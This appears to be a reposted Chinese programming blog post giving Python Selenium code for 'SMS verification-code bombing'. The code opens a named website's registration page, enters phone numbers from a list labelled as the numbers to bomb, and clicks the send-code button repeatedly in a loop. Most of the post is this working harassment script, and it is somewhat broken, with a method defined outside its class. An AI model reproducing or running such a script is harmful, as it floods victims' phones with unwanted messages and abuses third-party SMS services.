欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  IT编程

python实现简单的短信验证码轰炸

程序员文章站 2022-04-12 08:41:28
基本原理:利用某些限制不严格的网站短信注册接口,用Python模拟,传入被炸人手机号码,实现轰炸有多种方式,可以模拟接口请求,也可通过模拟xml中元素定位模拟手工执行本文通过第二种方式环境要求:python3.X需要安装谷歌插件http://chromedriver.storage.googleapis.com/index.html需安装匹配版本的driver, 放于C:\Program Files (x86)\Google\Chrome\Application\chr......

基本原理:

利用某些限制不严格的网站短信注册接口,用Python模拟,传入被炸人手机号码,实现轰炸

有多种方式,可以模拟接口请求,也可通过模拟xml中元素定位模拟手工执行

本文通过第二种方式

 

环境要求:

python3.X 

需要安装谷歌插件http://chromedriver.storage.googleapis.com/index.html 

需安装匹配版本的driver, 放于C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe"

 

入口函数

from threading import Thread
from hongzha import HongZha
hongzha = HongZha()
tongren=Thread(target=hongzha.tongren,args=("同人",))
tongren.start()
from selenium import webdriver
import time
import random
# 需要查看网页源代码定位到xml中具体填的是哪一个

class HongZha(object):
    def __init__(self):
        self.phone = ["155xxx","185xxx","133xxx","138xxx","156xxx" ] # 你要轰炸的电话号码
        self.num = 0

    def send_yzm(self, button, name):
        button.click()
        self.num += 1
        print("{}  第{}次  发送成功  {}".format(self.phone, self.num, name))
        time.sleep(1000)

       

def tongren(self,name):
    while True:
        driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
        driver.get("https://tn.gaywb.com/member.php?mod=register")
        tel = driver.find_element_by_xpath("//input[@id='mobile']")
        actual=random.choice(self.phone)
        tel.send_keys(actual)
        time.sleep(6)
        button = driver.find_element_by_xpath(
            "//div[@class='phoneSend_2']")
        button.click()
        time.sleep(600)
        self.send_yzm(button, name)
        driver.quit()
        print("---------"+actual)

         找到某个网站的注册页面,也就是driver.get需要填入的参数

         查看网站源代码 找到xml中 需要手机号的那个元素的定位 模拟点击 就可以实现验证码的发送了。

 

本文地址:https://blog.csdn.net/u013517801/article/details/107311973